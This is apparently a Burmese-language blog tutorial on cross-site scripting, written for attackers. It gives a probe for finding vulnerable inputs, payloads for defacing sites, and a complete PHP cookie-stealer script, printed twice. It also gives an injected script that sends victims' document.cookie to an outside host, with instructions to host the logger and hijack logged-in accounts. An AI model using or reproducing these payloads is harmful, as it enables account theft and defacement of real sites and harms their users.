What is XSS?
XSS ရဲ႕ အရွည္ေကာက္က ေတာ့ Cross Site Scripting
ပါ။X ဆိုတာ က Cross ကို
ကိုယ္စားျပဳၿပီးထည့္ထားတာဆိုပါေတာ့ ။ဒီေတာ့ CSS
လို႕လည္းေခၚၾကပါတယ္။
Defination ကေတာ့ HTML & JavaScript Code ေတြကို
Site ကို input အေနနဲ႕ ထည့္လိုက္
တာပါ။
What is Cookie?
သိတယ္မလား။စားေနက် ေလ ဟိဟိ။ ဒါကေတာ့ စားစရာ မဟုတ္ပါဘူး။က်ေနာ္
တို႔ ဆိုက္ေတြကို
Login ၀င္ထားတဲ့ အခ်ိန္မွာ Cookie ေတြနဲ႕ save ထားၾကပါတယ္။
Cookie ေတြ အမ်ိဳးမ်ိဳးရွိၾကပါတယ္။ Temporary သံုးတဲ့
cookie ေတြရွိသလို အခ်ိန္တခုမွာ သူ႔အလိုလို
ဖ်က္ပစ္လိုက္တဲ့ cookie ေတြ လည္းရွိတယ္။ေနာက္တခု
က ကုိယ္ မဖ်က္မခ်င္းမပ်က္တဲ့ cookie
ေတြလည္းရွိတယ္။
Cookie ေတြ ထဲ ကေန က်ေနာ္ တို႔ login
username ေတြ password ေတြရနိုင္တယ္။
FB acc ေတြေတာင္ရနိုင္ပါတယ္။
Types of XSS
ပံုမွန္အားျဖင့္ေတာ့
XSS က ၃ မ်ိဳးရွိတယ္။ ဒါေပမယ့္ ကိုဒုတ္ကေတာ့ ေနာက္တခုရွိေသးတယ္ လို႕ေျပာပါတယ္
က်ေနာ္ မသိေသးလို႔
ထည့္မေရးေတာ့ဘူး။
1.
Non-persistance XSS
2.
Persistance XSS
3.
Dom-based XSS
ဆိုၿပီး ရွိတယ္။
1.Non-persistance XSS
ဒါကေတာ့ က်ေနာ္တို႕
inject လုပ္ေနတဲ့ အခ်ိန္မွာ ပဲ အလုပ္လုပ္ပါတယ္။
No
permanent ေပါ့။အသံုးလည္းမမ်ားပါဘူး။က်ေနာ္ တို႔လိုတာလည္းဒါမဟုတ္ပါဘူး
ဘာလိုတာလဲဆိုေတာ့
2.Persistance XSS
ဒါကေတာ့
permanent ျဖစ္တယ္ေပါ့။ က်ေနာ္တို႕ cookie ေတြဆီကေန users ေတြကိုရနိုင္ပါတယ္
Cookie
Steal တဲ့ code ေတြကိုထည့္လိုက္နိုင္ပီဆိုရင္ က်ေနာ္ တို႕ link ေတြ account ေတြကို
ခိုးယူနိုင္ပါတယ္
3.Dom-based XSS
ဒါလည္း
maciliouse code ေတြကို inject လုပ္ရင္ permanent ျဖစ္ႏိုင္တယ္။
Result ေတြကေတာ့
မထင္ထားတာေတြလည္း ျဖစ္ပါတယ္။
တခ်ိဳ႕ဆိုက္ေတြမွာ
code ေတြလည္းအလုပ္မလုပ္တာရွိတယ္။
Checking Vulnerability
Vulnerable ျဖစ္မျဖစ္ဘယ္လိုသိနိုင္မလဲ
shoutbox,
searchbox, forums, comment space, blogs, login place, many more...
အေပၚက ေနရာေတြမွာ က်ေနာ္ တို႔ ေအာက္က script ေတြကို
ထည့္ၾကည့္မယ္
<script>alert(“XSS”)</script>
ဆိုၿပီးထည့္လိုက္မယ္ဆို alert box ေလးက်တယ္ဆိုရင္
XSS Vulnerability ျဖစ္ေနပါတယ္။
ဒါေပမယ့္ တခ်ိဳ႕ဆိုက္ေတြမွာ XSS ဆိုတဲ့ စာကို
WAF က block ထားတတ္ပါတယ္။
တျခားစာေတြထည့္ၾကည့္လိုက္ေပါ့။ကိုယ့္နာမည္ကိုယ္ထည့္လိုက္ေလ
ဟိဟိ
How to deface?
Deface လုပ္ခ်င္ရင္ေတာ့ ေအာက္က code ေလးထည့္လိုက္ေပါ့။
<script>window.open("http://www.yoursite.com/")</script>
http://www.yoursite.com/
ဆိုတဲ့ေနရာမွာ ကိုယ္ deface page ရဲ႕ link ကိုထည့္ေပးရပါမယ္။
ပံုေတြေပၚခ်င္တယ္ဆိုရင္ေတာ့
<img
src=“image url here”></img>
ဆိုက္မွာ ဘာမွမေပၚေတာ့ဘဲနဲ႕ ကိုယ့္ ေပၚခ်င္တဲ့ စာသား
ကိုထည့္ခ်င္ရင္
<b>
You got own by real steel!</b>
ကုိသံုးနိုင္ပါတယ္
Cookie Stealing
က်ေနာ္တို႕ cookie stealer တခုေတာ့လိုပါတယ္။
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
အေပၚက code ကို ကူးလိုက္ပါ။
ျပီးရင္ yourname.php file နဲ႕ log.txt file ၂ ခုကို
ေဆာက္လိုက္ပါ။
ေနာက္ yourname.php ထဲကို အေပၚက ကူးထားတဲ့ code
ကို ထည့္လိုက္ပါ။
Hosting တခုခု မွာ file ၂ ခုစလံုးကို သြားတင္လိုက္ပါ။
<script
language=
"JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie="
+ document.cookie;document.location="http://www.whateversite.com"</script>
က်ေနာ္ တို႔ဒီcode ကို သြင္းလိုက္မယ္။
No comments:
Post a Comment